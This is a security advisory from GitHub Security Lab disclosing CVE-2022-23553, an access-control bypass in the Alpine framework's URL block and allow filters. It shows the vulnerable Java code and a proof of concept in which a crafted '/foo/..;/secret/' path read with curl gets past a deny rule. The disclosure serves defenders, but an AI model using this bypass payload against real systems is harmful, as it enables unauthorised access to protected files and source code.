Coordinated Disclosure Timeline
- 2021-09-24: Report sent to
steve.springett AT owasp.org
- 2022-02-13: Issue fixed in 1.10.4
Summary
URL access filters (block and allow list) are subject to be bypassed
Product
Alpine
Tested Version
Details
Issue: URL block/allow lists bypass (GHSL-2021-1009
)
Alpine offers two Servlet filters to control the access to different resources based on the visited URL: BlacklistUrlFilter
and WhitelistUrlFilter
. Both of them compare the request URI to the list of allowed or blocked URLs using the String’s startsWith
method.
final String requestUri = req.getRequestURI();
if (requestUri != null) {
for (final String url: denyUrls) {
if (requestUri.startsWith(url.trim())) {
res.setStatus(HttpServletResponse.SC_FORBIDDEN);
return;
}
}
for (final String url: ignoreUrls) {
if (requestUri.startsWith(url.trim())) {
res.setStatus(HttpServletResponse.SC_NOT_FOUND);
return;
}
}
}
final String requestUri = req.getRequestURI();
if (requestUri != null) {
boolean allowed = false;
final String requestUrlExcludingContext = requestUri.substring(req.getContextPath().length());
for (final String url: allowUrls) {
if (requestUrlExcludingContext.equals("/")) {
if (url.trim().equals("/") || (url.trim().equals("/index.jsp")) || (url.trim().equals("/index.html"))) {
allowed = true;
}
} else if (requestUrlExcludingContext.startsWith(url.trim())) {
allowed = true;
}
}
This approach is insecure since the request URI contains the raw and non-canonicalized version of the URI such as /allowed/..;/blocked
.
For that particular URI, if the allowlist filter is configured to only allow access to URIs starting with /allowed
, it will permit the access to /allowed/..;/blocked
, but later, this URI will get resolved to just /blocked
Impact
This issue may lead access control bypasses and may enable to leak source code (when protecting application code on executable WAR files)
PoC
- Clone the Alpine example application
- Add a
secret
folder to/example/src/main/webapp/
with a secret file (eg:/example/src/main/webapp/secret/secret.txt
) - Enable a block list to deny access to
/secret/*
:<filter> <filter-name>BlacklistUrlFilter</filter-name> <filter-class>alpine.filters.BlacklistUrlFilter</filter-class> <init-param> <param-name>denyUrls</param-name> <param-value>/secret</param-value> </init-param> </filter> <filter-mapping> <filter-name>BlacklistUrlFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
- Start the example application:
mvn clean package -Pembedded-jetty ; java -jar target/example-embedded.war
- Access the secret file. You should receive a 403 forbidden response:
❯❯❯ curl -v http://localhost:8080/secret/secret.txt * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 8080 (#0) > GET /secret/secret.txt HTTP/1.1 > Host: localhost:8080 > User-Agent: curl/7.64.1 > Accept: */* > < HTTP/1.1 403 Forbidden < Date: Thu, 23 Sep 2021 16:24:21 GMT < Content-Length: 0 < * Connection #0 to host localhost left intact * Closing connection 0
- Access the secret file as ``:
❯❯❯ curl "http://localhost:8080/foo/..;/secret/secret.txt" SUPER_SECRET_FILE
CVE
- CVE-2022-23553
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2021-1009
in any communication regarding this issue.